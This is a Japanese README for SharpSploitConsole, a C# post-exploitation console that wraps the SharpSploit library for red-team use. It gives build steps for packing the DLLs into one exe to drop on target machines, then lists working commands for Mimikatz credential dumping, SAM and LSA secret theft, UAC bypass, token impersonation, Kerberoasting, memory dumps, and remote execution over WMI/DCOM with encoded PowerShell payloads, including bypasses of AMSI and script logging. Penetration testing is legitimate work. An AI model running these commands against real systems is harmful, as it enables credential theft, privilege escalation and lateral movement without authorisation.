
ポストエクスプロイテーションおよびレッドチーム運用のためのC#コンソールアプリケーション。SharpSploitを統合し、Mimikatzコマンドの実行、Kerberoasting、UACバイパス、資格情報のダンプ、WMI/DCOMを介した横方向の移動を実行します。
@cobbr_io がリリースした SharpSploit と対話するために設計されたコンソールアプリケーション > https://github.com/cobbr/SharpSploit
SharpSploit は @cobbr_io が作成したツールで、情報セキュリティコミュニティの多くのテクニック/C#コードを1つの素晴らしいDLLに統合したものです。 最高なので、ぜひチェックしてください!
SharpSploit Console は、C# の経験が少ないペネトレーションテスターやレッドチームが SharpSploit の素晴らしさを活用できるようにするための、簡単な概念実証バイナリです。 以下の手順に従うことで、SharpSploit.dll と System.Management.Automation.dll の両方を SharpSploitConsole バイナリに埋め込み、適切なターゲットシステムにドロップして非対話型シェル(ビーコンなど)で実行できるスタンドアロン exe を作成できます。
この概念は多くの C# バイナリに適用できます。 例えば、お気に入りの C# NoPowershell.exe に System.Management.Automation.dll を埋め込むことで、ターゲットシステム上の System.Management.Automation.dll に依存しないバイナリを作成できます。
最後に、これをより良く、より速く、よりクールに、よりステルスにする方法は何千もあると思います。 なので、優しく教えてくださいね :) また、今後さらにモジュールを追加し、他のモジュールも改善する予定です。
連絡先:
問題を報告する前に、このツールは常にアクティブに更新されるとは限りません。 自由に借用、追加、改変、独自のものを作成してください。 覚えておいてください、素晴らしいコードはたくさんありますが、それらを取得/変更して独自のカスタムツールを作成できます。
注: Windows 10、Visual Studio 2017 を使用しました - 環境によって異なる場合があります
https://github.com/cobbr/SharpSploit.git から SharpSploit ツールをダウンロードします
Visual Studio で SharpSploit.sln を開き、コンパイルします(正しいアーキテクチャでコンパイルするようにしてください) - ドロップダウンに Any CPU が表示されるはずです > それをクリックし、構成マネージャーを開きます > プラットフォームを目的のアーキテクチャに変更し、OK を選択します。
SharpSploitConsole ツールをダウンロードし、SharpSploitConsole.sln を開きます
SharpSploit/bin/x64/Debug ディレクトリにある SharpSploit.dll と System.Management.Automation.dll の両方を SharpSploitConsole/bin/x64/Debug フォルダにコピーします
次に、Visual Studio を設定して DLL を exe に埋め込み、ターゲットマシンで実行できる単一のバイナリにします。 これは次のように行います:
Visual Studio で:
a. ツール > NuGet パッケージ マネージャー > パッケージ マネージャー コンソール
b. コンソール内で以下を実行:
Install-Package Costura.Fody
c. メモ帳を開き、以下のコードを貼り付け、SharpSploitConsole ディレクトリ(bin、obj、properties フォルダが含まれる場所)内に FodyWeavers.xml という名前で保存します。
<?xml version="1.0" encoding="utf-8"?>
<Weavers>
<Costura />
</Weavers>
6. Visual Studio 内で、右側の参照を右クリックし、参照の追加を選択し、2つの DLL を配置した SharpSploitConsole/bin/x64/Debug ディレクトリに移動して選択し、追加します。
注: すべてのコマンドは大文字小文字を区別しません
デフォルトでは、すべてのコマンドをコマンドライン引数として受け取ることができ、実行後プログラムは終了します(リモートシェルに最適)。 これは次のようになります: sharpSploitConsole.exe getSystem logonPasswords。 あるいは、対話型コンソールモードを使用したい場合は、interact コマンドを使用して疑似対話型シェルを取得できます。
対話型コンソールモードを開始:
Interact
Mimikatz で全てを実行(DCSync は実行しません)- 管理者またはシステム権限が必要:
Mimi-All
任意の Mimikatz コマンドを実行 - 管理者またはシステム権限が必要:
Mimi-Command privilege::debug sekurlsa::logonPasswords
Mimikatz コマンド privilege::debug sekurlsa::logonPasswords を実行 - 管理者またはシステム権限が必要:
logonPasswords
Mimikatz コマンドでレジストリからドメインキャッシュ資格情報ハッシュを取得 - 管理者またはシステム権限が必要:
LsaCache
Mimikatz コマンドでレジストリに保存された LSA シークレットを取得 - 管理者またはシステム権限が必要:
LsaSecrets
SAM データベースからパスワードハッシュを取得 - 管理者またはシステム権限が必要:
SamDump
レジストリから Wdigest 資格情報を取得 - 管理者またはシステム権限が必要:
Wdigest
現在のユーザーを取得:
whoami
Username
システムユーザーを偽装 - 管理者権限が必要:
GetSystem
システムユーザーを偽装 - 指定されたプロセスのトークンを偽装、pid が必要 - 管理者権限が必要:
Impersonate 2918
UAC バイパス - binary | command | path to binary が必要 - 管理者権限が必要:
BypassUAC cmd.exe ipconfig C:\Windows\System32\
BypassUAC cmd.exe "" C:\Windows\System32\
トークンの偽装を終了し、現在のプロセスに関連付けられた初期トークンに戻す:
RevertToSelf
現在の作業ディレクトリを取得:
CurrentDirectory
現在のディレクトリ一覧を取得:
DirectoryListing
指定された文字列を現在の作業ディレクトリに追加してディレクトリを変更:
ChangeDirectory SomeFolder
ホスト名を取得:
Hostname
実行中のプロセス一覧を取得:
ProcessList
実行中のプロセスのメモリのミニダンプを作成、PID | 出力場所 | 出力名が必要 - 管理者権限が必要:
ProcDump 2198 C:\Users\Username\Desktop memorydump.dmp
レジストリパスの値を取得、完全なパス引数が必要:
ReadRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\BuildNumber
レジストリに書き込む、完全なパス引数と値の引数が必要:
WriteRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\RemoteAccessEnabled 1
リモートでローカルグループのユーザーを取得、コンピュータ名 | グループ名 | ユーザー名 | パスワードが必要:
NetLocalGroupMembers computerName Administrators domain\username P@55w0rd!
NetLocalGroupMembers 192.168.1.20 Administrators .\username P@55w0rd!
リモートでローカルグループを取得、コンピュータ名 | ユーザー名 | パスワードが必要:
NetLocalGroups computerName domain\username P@55w0rd!
NetLocalGroups 192.168.1.20 .\username P@55w0rd!
リモートで現在ログオンしているユーザーを取得、コンピュータ名 | ユーザー名 | パスワードが必要:
NetLoggedOnUsers computerName domain\username P@55w0rd!
NetLoggedOnUsers 192.168.1.20 .\username P@55w0rd!
リモートでユーザーセッションを取得、コンピュータ名 | ユーザー名 | パスワードが必要:
NetSessions computerName domain\username P@55w0rd!
NetSessions 192.168.1.20 .\username P@55w0rd!
システムに ping を実行、コンピュータ名が必要:
Ping computer1 computer2 computer3 computer4
システムのポートスキャン、コンピュータ名 | ポートが必要:
PortScan computer1 80 443 445 22 23
ドメインユーザーを取得、ターゲットドメイン内の指定(またはすべて)のユーザーオブジェクトを取得、デフォルトでは現在のユーザーコンテキストを使用。 オプション引数: -username -password -domain -server -searchbase -searchstring -target:
GetDomainUsers
ドメイングループを取得、ターゲットドメイン内の指定(またはすべて)のグループオブジェクトを取得、デフォルトでは現在のユーザーコンテキストを使用。 オプション引数: -username -password -domain -server -searchbase -searchstring -target:
GetDomainGroups
GetDomainGroups -target "Domain Admins"
ドメインコンピュータを取得、ターゲットドメイン内の指定(またはすべて)のコンピュータオブジェクトを取得、デフォルトでは現在のユーザーコンテキストを使用。 オプション引数: -username -password -domain -server -searchbase -searchstring -target:
GetDomainComputers
Kerberoasting を実行、ターゲットドメイン内の指定(またはすべて)のユーザーオブジェクトに対して kerberoasting 攻撃を実行、デフォルトでは現在のユーザーコンテキストを使用。 オプション引数: -username -password -domain -server -searchbase -searchstring -target
Kerberoast
Kerberoast -username bob -password Password1 -domain test.corp -server 192.168.1.10 -target sqlService
WMI 経由でリモートコマンドを実行、コンピュータ名 | ユーザー名 | パスワード | コマンドが必要 - 管理者権限が必要:
WMI computer1 domain\username P@55w0rd! <entire powershell empire payload>
WMI computer1 .\username P@55w0rd! powershell -noP -sta -w 1 -enc <Base64>
DCOM 経由でリモートコマンドを実行、コンピュータ名 | コマンド | ディレクトリ | パラメータが必要 - 管理者権限が必要:
DCOM computer1 cmd.exe c:\Windows\System32 powershell -noP -sta -w 1 -enc <Base64>
シェルコマンドを実行:
Shell ipconfig /all
AMSI、scriptBlock ログ、Module ログをバイパスしながら powershell コマンドを実行:
Powershell -noP -sta -w 1 -enc <Base64>